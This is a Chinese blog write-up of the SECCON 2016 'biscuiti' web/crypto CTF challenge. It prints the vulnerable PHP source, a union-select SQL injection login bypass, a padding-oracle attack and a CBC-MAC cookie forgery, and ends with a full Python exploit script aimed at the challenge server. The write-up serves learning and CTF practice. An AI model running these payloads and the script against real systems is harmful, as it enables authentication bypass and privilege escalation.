附dalao鏈接:https://blog.tinduong.pw/2016/12/11/seccon-quals-2016-biscuiti-web-crypto-300-write-up/
其他題目的wp寫在另一篇文章裏面:http://blog.csdn.net/qq_19876131/article/details/53675162
web300 biscuiti
這道題我單獨挑出來發博客,因爲折騰了我快一天,而且遇到的問題都是絕對不該犯的錯誤,真是暴躁,不過題目質量本身還是相當高的。
一道web+padding oracle的題目。但是我的大部分時間都花在調自己的腳本上了,暴露出平時寫代碼的習慣太差了,各種細節問題接二連三。真是爆炸
首先拿到源碼,本地的sqlite環境有點問題,怎麼也連不上,所以簡單改了改換成了mysql。應該影響不大吧。。大概。。。
簡單改成mysql數據庫後源碼如下:
<?php
error_reporting(0);
define("ENC_KEY", "abcdcensoreddefg");
define("ENC_METHOD", "aes-128-cbc");
if (!extension_loaded('pdo_sqlite')) {
header("Content-type: text/plain");
echo "PDO Driver for SQLite is not installed.";
exit;
}
if (!extension_loaded('openssl')) {
header("Content-type: text/plain");
echo "OpenSSL extension is not installed.";
exit;
}
/*
Setup:
CREATE TABLE user (
username VARCHAR(255),
enc_password VARCHAR(255),
isadmin BOOLEAN
);
INSERT INTO user VALUES ("admin", "***censored***", 1);
*/
// 加密之後base64
function auth($enc_password, $input) {
$enc_password = base64_decode($enc_password);
$iv = substr($enc_password, 0, 16);
$c = substr($enc_password, 16);
#echo $c."<br>".$v;
$password = openssl_decrypt($c, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
return $password == $input;
}
function mac($input) {
$iv = str_repeat("\0", 16);
$c = openssl_encrypt($input, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
return substr($c, -16);
}
function save_session() {
global $SESSION;
$j = serialize($SESSION);
$u = $j . mac($j);
setcookie("JSESSION", base64_encode($u));
}
function load_session() {
global $SESSION;
if (!isset($_COOKIE["JSESSION"]))
return array();
$u = base64_decode($_COOKIE["JSESSION"]);
$j = substr($u, 0, -16);
$t = substr($u, -16);
if (mac($j) !== $t)
return array(2);
$SESSION = unserialize($j);
//a:3:{s:4:"name";s:9:"bendawang";s:7:"isadmin";s:1:"1";s:8:"password";s:27:"bendawangbendawangbendawang";}
}
function _h($s) {
return htmlspecialchars($s, ENT_QUOTES, "UTF-8");
}
function mysql_conn()
{
$conn=@mysql_connect('localhost','root','1') or die('could not connect'.mysql_error());
mysql_query('use test');
mysql_query("SET character_set_connection=utf8, character_set_results=utf8,character_set_client=utf8", $conn);
return $conn;
}
function login_page($message = NULL) {
?><!doctype html>
<html>
<head><title>Login</title></head>
<body>
<?php
if (isset($message)) {
echo " <div>" . _h($message) . "</div>\n";
}
?>
<form method="POST">
<div>
<label>username</label>
<input type="text" name="username">
</div>
<div>
<label>password</label>
<input type="password" name="password">
</div>
<input type="submit" value="login">
</form>
</body>
</html>
<?php
exit;
}
function info_page() {
global $SESSION;
?><!doctype html>
<html>
<head><title>Login</title></head>
<body>
<?php
printf("Hello %s\n", _h($SESSION["name"]));
if ($SESSION["isadmin"])
echo 'get flag!!';
?>
<div><a href="logout.php">Log out</a></div>
</body>
</html>
<?php
exit;
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$dbh =mysql_conn();
#echo "SELECT username, enc_password from user WHERE username='{$username}'";
$result = mysql_query("SELECT username, enc_password from user WHERE username='{$username}'");
if (!$result) {
login_page("error");
/* DEBUG
$info = $dbh->errorInfo();
login_page($info[2]);
//*/
}
$u = mysql_fetch_array($result);
if ($u && auth($u["enc_password"], $password)) {
$SESSION["name"] = $u['username'];
$SESSION["isadmin"] = $u['isadmin'];
save_session();
info_page();
}
else {
login_page("error");
}
}
else {
load_session();
if (isset($SESSION["name"])) {
info_page();
}
else {
login_page();
}
}
功能大概總結下:
1、首先如果正常登陸通過查詢
query(“SELECT username,enc_password from user WHERE username ='{$ username}'”)
從數據庫檢索用戶名和相應的加密密碼,其中加密密碼格式是IV||cipher
2、登陸結果是
AES-128-CBC
解密enc_password,然後與輸入進行對比。登陸成功的話會初始化$SESSION
數組3、
COOKIE
的格式,$j = serialize($SESSION)
JSESSION =base64_encode( $j || MAC($j) )
mac函數是以16個空字節爲
IV
加密輸入的字符串,並且返回加密結果的後16位。
4、當
$SESSION[“isadmin”]
爲真的時候我們會獲取到flag
所以大概目的也就明確了,我們要想辦法構造使得我們的$SESSION[“isadmin”]
的值爲真。
0x01 存在sqli
首先我們很容易看到輸入的點沒有任何過濾,也就意味着存在sql注入,並且登陸的時候是會觸發解密過程的,而且sql注入使得我們可以通過聯合注入控制查詢返回的結果,這也就滿足padding oracle的條件。
比如我們輸入如下的值:(這裏我們看到我們的用戶名長度相當長,待會兒會解釋爲什麼要設定爲這麼長)
username=' union select 'bendawangbendawangbendawang','bendawang&password=
使得password
爲空,那麼服務器會觸發解密過程
function auth($enc_password, $input) { //`$enc_password`即使`bendawang`,而$input則爲空
$enc_password = base64_decode($enc_password);
$iv = substr($enc_password, 0, 16);
$c = substr($enc_password, 16);
#echo $c."<br>".$v;
$password = openssl_decrypt($c, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv); //解密失敗,返回空。這裏我們可以控制`IV`和`cipher`,存在`padding_oracle_attack`
return $password == $input; //由於解密失敗,空等於空,驗證通過!!!
}
這樣我們就能正常登陸上去,但是我們無法獲取到flag
,因爲聯合查詢無法控制$SESSION["isadmin"] = $u['isadmin'];
但是通過上面的poc,我們能夠獲取到一個cookie值。
0x02 cookie值
下面的函數是對cookie值的處理。
function load_session() {
global $SESSION;
if (!isset($_COOKIE["JSESSION"]))
return array();
$u = base64_decode($_COOKIE["JSESSION"]);
$j = substr($u, 0, -16);
$t = substr($u, -16);
if (mac($j) !== $t)
return array(2);
$SESSION = unserialize($j);
}
根據0x01
我們拿到的一個cookie
,base64解碼後如下:
a:2:{s:4:"name";s:27:"bendawangbendawangbendawang";s:7:"isadmin";N;}F
ÐÜGƒ6Ršçè
我們已知的cookie值的格式
$j = serialize($SESSION)
JSESSION =base64_encode( $j || MAC($j) )
0x03 開始搞事
現在,我們的目的已經明確了,我們是沒有辦法獲取到密鑰的,所以這也就決定了我們只能通過另一種方式修改cookie的值然後提交,使得驗證通過並且使$SESSION['isadmin']=1
。
首先我們已知什麼,已知AES加密的時候塊的大小N=16。
我們有一個cookie值,即我們知道全部的明文串,還有最後一塊明文被加密的到的密文塊
先把明文分塊如下:
P0:a:2:{s:4:"name"; ----> C0
P1:s:27:"bendawangb ----> C1
P2:endawangbendawan ----> C2
P3:g";s:7:"isadmin" ----> C3
P4:;N;} ----> C4 (已知,cookie的末16位)
如上如所示,我們已知一塊的密文,加上所有的明文,我們可以通過padding_oracle
恢復所有的密文塊,由於sql注入點,我們可控,既可以控制被解密的字符串。
這裏不講padding_oracle的具體原理了,需要的童鞋可以看我寫的另一篇blog:http://blog.csdn.net/qq_19876131/article/details/52674589
所以我們可以利用那裏進行padding_oracle_attack
,然後以能否成功登陸判斷是否解密成功(PS:輸入的password
要爲空),如果解密失敗,就能登陸成功,否則登錄失敗。
這樣我們有了全部的密文塊。
相當於我們已知了全部的P0-P4
和C0-C4
現在進入到重頭戲。
怎麼要使P4
的值從P4 = ";N;}"
變成P4' = ";b:1;}"
,並且修改C4
爲多少的時候,使其能夠正常解密,從而反序列化之後$SESSION['isadmin']=1
。
先來看看我們的P2
,不知道大家看出來沒有,整個P2
塊都是原序列化字符串裏面的字符串格式的東西,這也就解釋了我們爲什麼最初登陸的時候用戶名要相當長才行。這樣子我們的P2
我們可以隨便修改,只要最後能夠正常解密,那麼它都不會影響反序列化的結果。
這裏我們先修改P2
的值如下:
P2' = P4' ^ C3 ^ C1 //待會就知道爲什麼會修改成這個值
然後我們保持其他地方都不變的話,然後重新發送請求得到新的cookie
值,同樣通過padding_oracle
我們能夠恢復出新的C2’
,我們也很容易能夠看出來,用新的P2'
加密,但是C0
和C1
是不會變化的,我們來看看我們一值C2’
的值是怎麼得來的
由於是CBC模式
C2' = Encrypto( P2' ^ C1 )
由上已知
P2' = P4' ^ C3 ^ C1
所以
C2' = Encrypto( P2' ^ C1 )
= Encrypto(P4' ^ C3 ^ C1 ^ C1)
= Encrypto(P4' ^ C3 )
有了上面的式子,我們再重新來,這次不修改P2
了,這次我們只修改P4
爲P4'
由於是CBC模式
C4'=Encrypto( P4' ^ C3 )=C2'
所以這就出來了,我們只修改P4
對應新的C4’和只修改P2
恢復出的C2'
是相等的,那麼這就搞定了。
0x04 代碼
就剩寫代碼,下面附上我自己寫的代碼,寫的很挫,而且中間犯了各式各樣奇奇怪怪的錯誤,還是自己的代碼習慣太差了,慢慢改正把
# encoding:utf-8
import requests
import base64
url='http://biscuiti.pwn.seccon.jp/'
N=16
def inject(password):
param={'username':"' union select 'bendawangbendawangbendawang','{password}".format(password=password),'password':''}
result=requests.post(url,data=param)
return result
def xor(a, b):
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)
def padding_oracle(N,cipher,plaintext):
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c='a'*(16-i)+chr(j)+padding+cipher
result=inject(base64.b64encode(chr(0)*16+c))
if "Hello" not in result.content:
get=chr(j^i)+get
print get.encode('hex')
break
return xor(get,plaintext)
jsession=inject("bendawang").headers['set-cookie'].split('=')[1].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
serialize=jsession[:-16]
print serialize
p=[]
for i in xrange(0,len(serialize),16):
p.append(serialize[i:i+16])
l=len(p)
p[l-1]=pad(p[l-1],N)
c=[""]*l
c[l-1]=jsession[-16:]
for i in xrange(l-1,0,-1):
c[i-1]=padding_oracle(N,c[i],p[i])
#c=['\x88\xbb|I1e\x1c\xb9u\xe4\x8e\x90\x08\xc1\xa9\x11', 'sd\x0c2\x13i\xac\xfd\x16\x9e\xa8\xc5?\x07/\xe5', '>\xbfZX\xda\x10\x99^\xd9\xa3\x15\xa9\\Q-\x9e', '\xf5;\xc6\x1cn\x0f\xe5\x1bJ{\x08\x00\xbd\x8d\x17\x18', '\xd0PP\xbfK\x8b:\x12\xaa\xa8Et\x83\x12T\xe7']
p[4]=pad(';b:1;}',N)
p[2]=xor(xor(c[3],p[4]),c[1])
param={'username':"' union select 'bendawangb{new_p}g','bendawang".format(new_p=p[2]),'password':''}
result=requests.post(url,data=param)
#print p
jsession=result.headers['set-cookie'].split('=')[1].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
print c
c=[""]*l
serialize=jsession[:-16]
p=[]
for i in xrange(0,len(serialize),16):
p.append(serialize[i:i+16])
#print p
p[l-1]=pad(p[l-1],N)
c[l-1]=jsession[-16:]
for i in xrange(l-1,1,-1):
c[i-1]=padding_oracle(N,c[i],p[i])
print c
new_jsession=base64.b64encode('a:2:{s:4:"name";s:27:"bendawangbendawangbendawang";s:7:"isadmin";b:1;}'+c[2])
header = {"Cookie":"JSESSION="+new_jsession}
r = requests.post(url, headers=header)
print r.content
運行截圖如下: